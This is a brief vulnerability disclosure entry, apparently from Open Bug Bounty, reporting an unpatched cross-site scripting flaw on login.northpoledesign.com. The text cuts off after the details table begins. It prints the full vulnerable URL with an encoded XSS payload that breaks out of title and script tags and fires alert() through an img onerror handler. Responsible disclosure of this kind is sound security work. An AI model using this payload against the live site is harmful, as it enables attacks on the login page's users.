login.northpoledesign.com XSS vulnerability

Vulnerable URL: http://login.northpoledesign.com/mobile/?appcode=hoffgun=WebViewControllerid=1784978url=L21vYmlsZS8/YXBwY29kZT1ob2ZmZ3Vu=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%3Cimg/onerror=%27;%20alert%28/OPENBUGBOUNTY/%29;%27src=1%3E Details: Description| Value ---|--- Patched:| No...